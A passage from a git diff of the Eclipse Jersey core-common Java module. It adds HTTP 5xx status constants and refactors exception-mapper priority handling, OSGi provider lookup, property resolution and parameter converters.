UNAVAILABLE_FOR_LEGAL_REASONS_451 + = new ResponseStatusImpl(451, "Unavailable For Legal Reasons"); + } + + /** + * 5xx server error status codes - the server failed to fulfill an apparently valid request. + */ + public static class ServerError5xx { + /** + * 500 Internal Server Error. + * See HTTP Semantics. + */ + public static final Response.StatusType INTERNAL_SERVER_ERROR_500 = new ResponseStatusImpl(500, "Internal Server Error"); + /** + * 501 Not Implemented. + * See HTTP Semantics. + */ + public static final Response.StatusType NOT_IMPLEMENTED_501 = new ResponseStatusImpl(501, "Not Implemented"); + /** + * 502 Bad Gateway. + * See HTTP Semantics. + */ + public static final Response.StatusType BAD_GATEWAY_502 = new ResponseStatusImpl(502, "Bad Gateway"); + /** + * 503 Service Unavailable. + * See HTTP Semantics. + */ + public static final Response.StatusType SERVICE_UNAVAILABLE_503 = new ResponseStatusImpl(503, "Service Unavailable"); + /** + * 504 Gateway Timeout. + * See HTTP Semantics. + */ + public static final Response.StatusType GATEWAY_TIMEOUT_504 = new ResponseStatusImpl(504, "Gateway Timeout"); + /** + * 505 HTTP Version Not Supported. + * See HTTP Semantics. + */ + public static final Response.StatusType HTTP_VERSION_NOT_SUPPORTED_505 + = new ResponseStatusImpl(505, "HTTP Version Not Supported"); + /** + * 506 Variant Also Negotiates. + * See Transparent Content Negotiation in HTTP. + */ + public static final Response.StatusType VARIANT_ALSO_NEGOTIATES_506 + = new ResponseStatusImpl(506, "Variant Also Negotiates"); + /** + * 507 Insufficient Storage. + * See HTTP Extensions for Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType INSUFFICIENT_STORAGE_507 = new ResponseStatusImpl(507, "Insufficient Storage"); + /** + * 508 Loop Detected. + * See Binding Extensions to Web Distributed Authoring and Versioning = new ResponseStatusImpl(WebDAV) + */ + public static final Response.StatusType LOOP_DETECTED_508 = new ResponseStatusImpl(508, "Loop Detected"); + /** + * 510 Not Extended. + * See An HTTP Extension Framework. + */ + public static final Response.StatusType NOT_EXTENDED_510 = new ResponseStatusImpl(510, "Not Extended"); + /** + * 511 Network Authentication Required. + * See Additional HTTP Status Codes. + */ + public static final Response.StatusType NETWORK_AUTHENTICATION_REQUIRED_511 + = new ResponseStatusImpl(511, "Network Authentication Required"); + } + + private static class ResponseStatusImpl implements Response.StatusType { + private final int statusCode; + private final String reasonPhrase; + private final Response.Status.Family family; + + private ResponseStatusImpl(int statusCode, String reasonPhrase) { + this.statusCode = statusCode; + this.reasonPhrase = reasonPhrase; + this.family = Response.Status.Family.familyOf(statusCode); + } + + @Override + public int getStatusCode() { + return statusCode; + } + + @Override + public Response.Status.Family getFamily() { + return family; + } + + @Override + public String getReasonPhrase() { + return reasonPhrase; + } + } +} diff --git a/core-common/src/main/java/org/glassfish/jersey/http/package-info.java b/core-common/src/main/java/org/glassfish/jersey/http/package-info.java new file mode 100644 index 00000000000..27044131f45 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/http/package-info.java @@ -0,0 +1,20 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Common Jersey core http classes. + */ +package org.glassfish.jersey.http; diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java index b64fef0a396..55e5a688653 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/ExceptionMapperFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -28,9 +28,11 @@ import java.util.logging.Level; import java.util.logging.Logger; +import jakarta.ws.rs.Priorities; import jakarta.ws.rs.ProcessingException; import jakarta.ws.rs.ext.ExceptionMapper; +import org.glassfish.jersey.JerseyPriorities; import org.glassfish.jersey.internal.inject.Bindings; import org.glassfish.jersey.internal.inject.InjectionManager; import org.glassfish.jersey.internal.inject.InstanceBinding; @@ -111,19 +113,18 @@ public ExceptionMapper find(final Class type) { private ExceptionMapper find(final Class type, final T exceptionInstance) { ExceptionMapper mapper = null; int minDistance = Integer.MAX_VALUE; + int priority = Priorities.USER; for (final ExceptionMapperType mapperType : exceptionMapperTypes.get()) { final int d = distance(type, mapperType.exceptionType); if (d >= 0 && d <= minDistance) { final ExceptionMapper candidate = mapperType.mapper.getInstance(); + final int p = mapperType.mapper.getRank() > 0 ? mapperType.mapper.getRank() : Priorities.USER; - if (isPreferredCandidate(exceptionInstance, candidate, d == minDistance)) { + if (isPreferredCandidate(exceptionInstance, candidate, d == minDistance && p >= priority)) { mapper = candidate; minDistance = d; - if (d == 0) { - // slight optimization: if the distance is 0, it is already the best case, so we can exit - return mapper; - } + priority = p; } } } @@ -180,6 +181,11 @@ private LazyValue> createLazyExceptionMappers(Injection for (ServiceHolder mapperHandle: mapperHandles) { ExceptionMapper mapper = mapperHandle.getInstance(); + // the default exception mapper is processed by the ServerRuntime + if ("org.glassfish.jersey.server.DefaultExceptionMapper".equals(mapper.getClass().getName())) { + continue; + } + if (Proxy.isProxyClass(mapper.getClass())) { SortedSet> mapperTypes = new TreeSet<>((o1, o2) -> o1.isAssignableFrom(o2) ? -1 : 1); diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java b/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java index bc5c7228568..fa075fb63d8 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/JaxrsProviders.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -19,6 +19,7 @@ import java.lang.annotation.Annotation; import java.lang.reflect.Type; +import jakarta.ws.rs.core.Context; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.ext.ContextResolver; import jakarta.ws.rs.ext.ExceptionMapper; @@ -62,12 +63,18 @@ public void init(InjectionManager injectionManager, BootstrapBag bootstrapBag) { } } + private final Provider workers; + private final Provider resolvers; + private final Provider mappers; + @Inject - private Provider workers; - @Inject - private Provider resolvers; - @Inject - private Provider mappers; + public JaxrsProviders(@Context Provider workers, + @Context Provider resolvers, + @Context Provider mappers) { + this.workers = workers; + this.resolvers = resolvers; + this.mappers = mappers; + } @Override public MessageBodyReader getMessageBodyReader(Class type, diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java index 3f381f84d84..794e8136bfc 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/OsgiRegistry.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -115,7 +115,7 @@ public Iterator createIterator( final ClassLoader loader, final boolean ignoreOnClassNotFound) { - final List> providerClasses = locateAllProviders(serviceName); + final List> providerClasses = locateAllProviders(serviceClass); if (!providerClasses.isEmpty()) { return new Iterator() { @@ -153,7 +153,7 @@ public void remove() { @Override public Iterator> createClassIterator( final Class service, final String serviceName, final ClassLoader loader, final boolean ignoreOnClassNotFound) { - final List> providerClasses = locateAllProviders(serviceName); + final List> providerClasses = locateAllProviders(service); if (!providerClasses.isEmpty()) { return new Iterator>() { @@ -552,14 +552,22 @@ private void register(final Bundle bundle) { } } - private List> locateAllProviders(final String serviceName) { + private List> locateAllProviders(final Class serviceClass) { lock.readLock().lock(); try { final List> result = new LinkedList>(); for (final Map>>> value : factories.values()) { - if (value.containsKey(serviceName)) { + if (value.containsKey(serviceClass.getName())) { try { - result.addAll(value.get(serviceName).call()); + for (final Class clazz : value.get(serviceClass.getName()).call()) { + if (serviceClass.isAssignableFrom(clazz)) { + result.add(clazz); + } else if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, + "Ignoring provider class " + clazz.getName() + " because it is not assignable to " + + " service class " + serviceClass.getName()); + } + } } catch (final Exception ex) { // ignore } diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesResolver.java b/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesResolver.java index 0b8f8eb0391..23c5432febe 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesResolver.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/PropertiesResolver.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -84,16 +84,15 @@ public T resolveProperty(String name, T defaultValue) { } private T resolveProperty(final String name, Object defaultValue, final Class type) { - // Check runtime configuration first - Object result = configuration.getProperty(name); - if (result != null) { - defaultValue = result; - } - - // Check request properties next - result = delegate.getProperty(name); + // Check request properties property + Object result = delegate.getProperty(name); if (result == null) { - result = defaultValue; + + // Check runtime configuration next + result = configuration.getProperty(name); + if (result == null) { + result = defaultValue; + } } return (result == null) ? null : PropertiesHelper.convertValue(result, type); diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java index 89e70896ca1..db16be840b3 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/RuntimeDelegateImpl.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -87,6 +87,7 @@ private RuntimeDelegate findServerDelegate() { for (RuntimeDelegate delegate : ServiceFinder.find(RuntimeDelegate.class)) { // try to find runtime delegate from core-server if (delegate.getClass() != RuntimeDelegateImpl.class) { + RuntimeDelegate.setInstance(delegate); return delegate; } } diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java b/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java index 0a399336e74..105bc5358e6 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/ServiceFinder.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesConfigurationFactory.java b/core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesConfigurationFactory.java index f5c2bd7e762..1a83e2365b2 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesConfigurationFactory.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/config/ExternalPropertiesConfigurationFactory.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2019, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,11 +16,11 @@ package org.glassfish.jersey.internal.config; +import org.glassfish.jersey.JerseyPriorities; import org.glassfish.jersey.internal.ServiceFinder; import org.glassfish.jersey.spi.ExternalConfigurationModel; import org.glassfish.jersey.spi.ExternalConfigurationProvider; -import jakarta.annotation.Priority; import jakarta.ws.rs.Priorities; import jakarta.ws.rs.core.Configurable; import java.util.ArrayList; @@ -152,19 +152,8 @@ private static class ConfigComparator implements Comparator new IllegalStateException(LocalizationMessages.INJECTION_MANAGER_FACTORY_NOT_FOUND())); } @@ -80,12 +92,17 @@ private static InjectionManagerFactory lookupInjectionManagerFactory() { * * @param clazz type of service to look for. * @param type of service to look for. + * @param type {@link RuntimeType} the {@link InjectionManagerFactory} must be {@link ConstrainedTo} if annotated. * @return instance of service with highest priority or {@code null} if service of given type cannot be found. * @see jakarta.annotation.Priority */ - private static Optional lookupService(final Class clazz) { + private static Optional lookupService(final Class clazz, RuntimeType type) { List> providers = new LinkedList<>(); for (T provider : ServiceFinder.find(clazz)) { + ConstrainedTo constrain = provider.getClass().getAnnotation(ConstrainedTo.class); + if (constrain != null && type != constrain.value()) { + continue; + } providers.add(new RankedProvider<>(provider)); } providers.sort(new RankedComparator<>(RankedComparator.Order.DESCENDING)); diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java index d1b3e9a1b2d..5798695f800 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/ParamConverters.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2018 Payara Foundation and/or its affiliates. * * This program and the accompanying materials are made available under the @@ -24,7 +24,6 @@ import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; import java.nio.charset.StandardCharsets; import java.security.AccessController; @@ -40,10 +39,12 @@ import jakarta.ws.rs.WebApplicationException; import jakarta.ws.rs.ext.ParamConverter; import jakarta.ws.rs.ext.ParamConverterProvider; - +import jakarta.ws.rs.core.Configuration; +import jakarta.ws.rs.core.Context; import jakarta.inject.Inject; import jakarta.inject.Singleton; +import org.glassfish.jersey.CommonProperties; import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.internal.util.ReflectionHelper; import org.glassfish.jersey.internal.util.collection.ClassTypePair; @@ -60,12 +61,32 @@ @Singleton public class ParamConverters { - private abstract static class AbstractStringReader implements ParamConverter { + private static class ParamConverterCompliance { + protected final boolean canReturnNull; + + private ParamConverterCompliance(boolean canReturnNull) { + this.canReturnNull = canReturnNull; + } + + protected T nullOrThrow() { + if (canReturnNull) { + return null; + } else { + throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + } + } + } + + private abstract static class AbstractStringReader extends ParamConverterCompliance implements ParamConverter { + + private AbstractStringReader(boolean canReturnNull) { + super(canReturnNull); + } @Override public T fromString(final String value) { if (value == null) { - throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + return nullOrThrow(); } try { return _fromString(value); @@ -90,7 +111,7 @@ public T fromString(final String value) { @Override public String toString(final T value) throws IllegalArgumentException { if (value == null) { - throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + return nullOrThrow(); } return value.toString(); } @@ -102,7 +123,11 @@ public String toString(final T value) throws IllegalArgumentException { * by invoking a single {@code String} parameter constructor on the target type. */ @Singleton - public static class StringConstructor implements ParamConverterProvider { + public static class StringConstructor extends ParamConverterCompliance implements ParamConverterProvider { + + private StringConstructor(boolean canReturnNull) { + super(canReturnNull); + } @Override public ParamConverter getConverter(final Class rawType, @@ -111,7 +136,7 @@ public ParamConverter getConverter(final Class rawType, final Constructor constructor = AccessController.doPrivileged(ReflectionHelper.getStringConstructorPA(rawType)); - return (constructor == null) ? null : new AbstractStringReader() { + return (constructor == null) ? null : new AbstractStringReader(canReturnNull) { @Override protected T _fromString(final String value) throws Exception { @@ -127,7 +152,11 @@ protected T _fromString(final String value) throws Exception { * by invoking a static {@code valueOf(String)} method on the target type. */ @Singleton - public static class TypeValueOf implements ParamConverterProvider { + public static class TypeValueOf extends ParamConverterCompliance implements ParamConverterProvider { + + private TypeValueOf(boolean canReturnNull) { + super(canReturnNull); + } @Override public ParamConverter getConverter(final Class rawType, @@ -136,7 +165,7 @@ public ParamConverter getConverter(final Class rawType, final Method valueOf = AccessController.doPrivileged(ReflectionHelper.getValueOfStringMethodPA(rawType)); - return (valueOf == null) ? null : new AbstractStringReader() { + return (valueOf == null) ? null : new AbstractStringReader(canReturnNull) { @Override public T _fromString(final String value) throws Exception { @@ -151,7 +180,11 @@ public T _fromString(final String value) throws Exception { * by invoking a static {@code fromString(String)} method on the target type. */ @Singleton - public static class TypeFromString implements ParamConverterProvider { + public static class TypeFromString extends ParamConverterCompliance implements ParamConverterProvider { + + private TypeFromString(boolean canReturnNull) { + super(canReturnNull); + } @Override public ParamConverter getConverter(final Class rawType, @@ -160,7 +193,7 @@ public ParamConverter getConverter(final Class rawType, final Method fromStringMethod = AccessController.doPrivileged(ReflectionHelper.getFromStringStringMethodPA(rawType)); - return (fromStringMethod == null) ? null : new AbstractStringReader() { + return (fromStringMethod == null) ? null : new AbstractStringReader(canReturnNull) { @Override public T _fromString(final String value) throws Exception { @@ -177,6 +210,10 @@ public T _fromString(final String value) throws Exception { @Singleton public static class TypeFromStringEnum extends TypeFromString { + private TypeFromStringEnum(boolean canReturnNull) { + super(canReturnNull); + } + @Override public ParamConverter getConverter(final Class rawType, final Type genericType, @@ -186,7 +223,11 @@ public ParamConverter getConverter(final Class rawType, } @Singleton - public static class CharacterProvider implements ParamConverterProvider { + public static class CharacterProvider extends ParamConverterCompliance implements ParamConverterProvider { + + private CharacterProvider(boolean canReturnNull) { + super(canReturnNull); + } @Override public ParamConverter getConverter(final Class rawType, @@ -197,8 +238,7 @@ public ParamConverter getConverter(final Class rawType, @Override public T fromString(String value) { if (value == null || value.isEmpty()) { - return null; - // throw new IllegalStateException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + return CharacterProvider.this.nullOrThrow(); } if (value.length() == 1) { @@ -211,7 +251,7 @@ public T fromString(String value) { @Override public String toString(T value) { if (value == null) { - throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + return CharacterProvider.this.nullOrThrow(); } return value.toString(); } @@ -228,7 +268,11 @@ public String toString(T value) { * {@link HttpDateFormat http date formatter} utility class. */ @Singleton - public static class DateProvider implements ParamConverterProvider { + public static class DateProvider extends ParamConverterCompliance implements ParamConverterProvider { + + private DateProvider(boolean canReturnNull) { + super(canReturnNull); + } @Override public ParamConverter getConverter(final Class rawType, @@ -239,7 +283,7 @@ public ParamConverter getConverter(final Class rawType, @Override public T fromString(final String value) { if (value == null) { - throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + return DateProvider.this.nullOrThrow(); } try { return rawType.cast(HttpDateFormat.readDate(value)); @@ -251,7 +295,7 @@ public T fromString(final String value) { @Override public String toString(final T value) throws IllegalArgumentException { if (value == null) { - throw new IllegalArgumentException(LocalizationMessages.METHOD_PARAMETER_CANNOT_BE_NULL("value")); + return DateProvider.this.nullOrThrow(); } return value.toString(); } @@ -297,12 +341,13 @@ public String toString(T value) { * by invoking {@link ParamConverterProvider}. */ @Singleton - public static class OptionalCustomProvider implements ParamConverterProvider { + public static class OptionalCustomProvider extends ParamConverterCompliance implements ParamConverterProvider { // Delegates to this provider when the type of Optional is extracted. private final InjectionManager manager; - public OptionalCustomProvider(InjectionManager manager) { + public OptionalCustomProvider(InjectionManager manager, boolean canReturnNull) { + super(canReturnNull); this.manager = manager; } @@ -317,18 +362,22 @@ public T fromString(String value) { } else { final List ctps = ReflectionHelper.getTypeArgumentAndClass(genericType); final ClassTypePair ctp = (ctps.size() == 1) ? ctps.get(0) : null; - + final boolean empty = value.isEmpty(); for (ParamConverterProvider provider : Providers.getProviders(manager, ParamConverterProvider.class)) { final ParamConverter converter = provider.getConverter(ctp.rawClass(), ctp.type(), annotations); if (converter != null) { - return (T) Optional.of(value).map(s -> converter.fromString(value)); + if (empty) { + return (T) Optional.empty(); + } else { + return (T) Optional.of(value).map(s -> converter.fromString(value)); + } } } /* * In this case we don't send Optional.empty() because 'value' is not null. * But we return null because the provider didn't find how to parse it. */ - return null; + return nullOrThrow(); } } @@ -360,7 +409,7 @@ public ParamConverter getConverter(Class rawType, Type genericType, An @Override public T fromString(String value) { - if (value == null) { + if (value == null || value.isEmpty()) { return (T) optionals.empty(); } else { return (T) optionals.of(value); @@ -443,18 +492,21 @@ public static class AggregatedProvider implements ParamConverterProvider { * Create new aggregated {@link ParamConverterProvider param converter provider}. */ @Inject - public AggregatedProvider(InjectionManager manager) { + public AggregatedProvider(@Context InjectionManager manager, @Context Configuration configuration) { + boolean canThrowNull = !CommonProperties.getValue(configuration.getProperties(), + CommonProperties.PARAM_CONVERTERS_THROW_IAE, + Boolean.FALSE); this.providers = new ParamConverterProvider[] { // ordering is important (e.g. Date provider must be executed before String Constructor // as Date has a deprecated String constructor - new DateProvider(), - new TypeFromStringEnum(), - new TypeValueOf(), - new CharacterProvider(), + new DateProvider(canThrowNull), + new TypeFromStringEnum(canThrowNull), + new TypeValueOf(canThrowNull), + new CharacterProvider(canThrowNull), new InputStreamProvider(), - new TypeFromString(), - new StringConstructor(), - new OptionalCustomProvider(manager), + new TypeFromString(canThrowNull), + new StringConstructor(canThrowNull), + new OptionalCustomProvider(manager, canThrowNull), new OptionalProvider() }; } diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Providers.java b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Providers.java index e157d128084..4bbab3e6ab9 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/inject/Providers.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/inject/Providers.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -42,6 +42,7 @@ import jakarta.annotation.Priority; +import org.glassfish.jersey.JerseyPriorities; import org.glassfish.jersey.internal.LocalizationMessages; import org.glassfish.jersey.model.ContractProvider; import org.glassfish.jersey.model.internal.RankedComparator; @@ -357,13 +358,7 @@ private static T holder2service(ServiceHolder holder) { } private static int getPriority(Class serviceClass) { - Priority annotation = serviceClass.getAnnotation(Priority.class); - if (annotation != null) { - return annotation.value(); - } - - // default priority - return Priorities.USER; + return JerseyPriorities.getPriorityValue(serviceClass, /* default priority */ Priorities.USER); } private static Class getImplementationClass(Class contract, ServiceHolder serviceHolder) { diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/PropertiesHelper.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/PropertiesHelper.java index 31be7da586d..5500e54a760 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/util/PropertiesHelper.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/PropertiesHelper.java @@ -42,6 +42,8 @@ public final class PropertiesHelper { private static final Logger LOGGER = Logger.getLogger(PropertiesHelper.class.getName()); private static final boolean METAINF_SERVICES_LOOKUP_DISABLE_DEFAULT = false; private static final boolean JAXRS_SERVICE_LOADING_ENABLE_DEFAULT = true; + private static final String RUNTIME_SERVER_LOWER = RuntimeType.SERVER.name().toLowerCase(Locale.ROOT); + private static final String RUNTIME_CLIENT_LOWER = RuntimeType.CLIENT.name().toLowerCase(Locale.ROOT); /** * Get system properties. @@ -221,7 +223,7 @@ public static T getValue(Map properties, RuntimeType runtimeType, String runtimeAwareKey = getPropertyNameForRuntime(key, runtimeType); if (key.equals(runtimeAwareKey)) { // legacy behaviour - runtimeAwareKey = key + "." + runtimeType.name().toLowerCase(Locale.ROOT); + runtimeAwareKey = key + "." + toLowerCase(runtimeType); } value = properties.get(runtimeAwareKey); } @@ -255,11 +257,11 @@ public static String getPropertyNameForRuntime(String key, RuntimeType runtimeTy if (runtimeType != null && key.startsWith("jersey.config")) { RuntimeType[] types = RuntimeType.values(); for (RuntimeType type : types) { - if (key.startsWith("jersey.config." + type.name().toLowerCase(Locale.ROOT))) { + if (key.startsWith("jersey.config." + toLowerCase(type))) { return key; } } - return key.replace("jersey.config", "jersey.config." + runtimeType.name().toLowerCase(Locale.ROOT)); + return key.replace("jersey.config", "jersey.config." + toLowerCase(runtimeType)); } return key; } @@ -387,6 +389,20 @@ public static boolean isProperty(final Object value) { } } + /** + * Faster replacement of {@code RuntimeType#name().toLowerCase(Locale.ROOT)} + * @param runtimeType The runtime type to lower case + * @return the lower-cased variant of the {@link RuntimeType}. + */ + private static String toLowerCase(RuntimeType runtimeType) { + switch (runtimeType) { + case CLIENT: + return RUNTIME_CLIENT_LOWER; + default: + return RUNTIME_SERVER_LOWER; + } + } + /** * Prevent instantiation. */ diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/ReflectionHelper.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/ReflectionHelper.java index 2bd5e39ffda..63830952b37 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/util/ReflectionHelper.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/ReflectionHelper.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -23,6 +23,7 @@ import java.lang.reflect.AnnotatedElement; import java.lang.reflect.Array; import java.lang.reflect.Constructor; +import java.lang.reflect.Executable; import java.lang.reflect.Field; import java.lang.reflect.GenericArrayType; import java.lang.reflect.Member; @@ -444,7 +445,7 @@ public Object run() { * @see AccessController#doPrivileged(java.security.PrivilegedAction) */ public static PrivilegedAction setAccessibleMethodPA(final Method m) { - if (Modifier.isPublic(m.getModifiers())) { + if (isPublic(m)) { return NoOpPrivilegedACTION; } @@ -460,6 +461,24 @@ public Object run() { }; } + /** + * Return {@code true} iff the method is public. + * @param clazz The method in question + * @return {@code true} if mod includes the public modifier; {@code false} otherwise. + */ + public static boolean isPublic(Class clazz) { + return Modifier.isPublic(clazz.getModifiers()); + } + + /** + * Return {@code true} iff the executable is public. + * @param executable The executable in question + * @return {@code true} if the executable includes the public modifier; {@code false} otherwise. + */ + public static boolean isPublic(Executable executable) { + return Modifier.isPublic(executable.getModifiers()); + } + /** * Get the list of classes that represent the type arguments of a * {@link ParameterizedType parameterized} input type. @@ -879,8 +898,7 @@ public static Collection> getAnnotationTypes(final A * @return {@code true} if the method is {@code getter}, {@code false} otherwise. */ public static boolean isGetter(final Method method) { - if (method.getParameterTypes().length == 0 - && Modifier.isPublic(method.getModifiers())) { + if (method.getParameterTypes().length == 0 && isPublic(method)) { final String methodName = method.getName(); if (methodName.startsWith("get") && methodName.length() > 3) { @@ -921,7 +939,7 @@ public static GenericType genericTypeFor(final Object instance) { * @return {@code true} if the method is {@code setter}, {@code false} otherwise. */ public static boolean isSetter(final Method method) { - return Modifier.isPublic(method.getModifiers()) + return isPublic(method) && void.class.equals(method.getReturnType()) && method.getParameterTypes().length == 1 && method.getName().startsWith("set"); diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Cache.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Cache.java index 923552cbb4f..40d94abe266 100644 --- a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Cache.java +++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/Cache.java @@ -1,5 +1,6 @@ /* - * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2022 Payara Foundation and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +17,7 @@ package org.glassfish.jersey.internal.util.collection; +import java.util.Enumeration; import java.util.concurrent.Callable; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ExecutionException; @@ -107,6 +109,15 @@ public void clear() { cache.clear(); } + /** + * Get the cache keys + * + * @return + */ + public Enumeration keys() { + return cache.keys(); + } + /** * Returns true if the key has already been cached. * diff --git a/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/GuardianStringKeyMultivaluedMap.java b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/GuardianStringKeyMultivaluedMap.java new file mode 100644 index 00000000000..1ca25499d2f --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/internal/util/collection/GuardianStringKeyMultivaluedMap.java @@ -0,0 +1,477 @@ +/* + * Copyright (c) 2022, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * 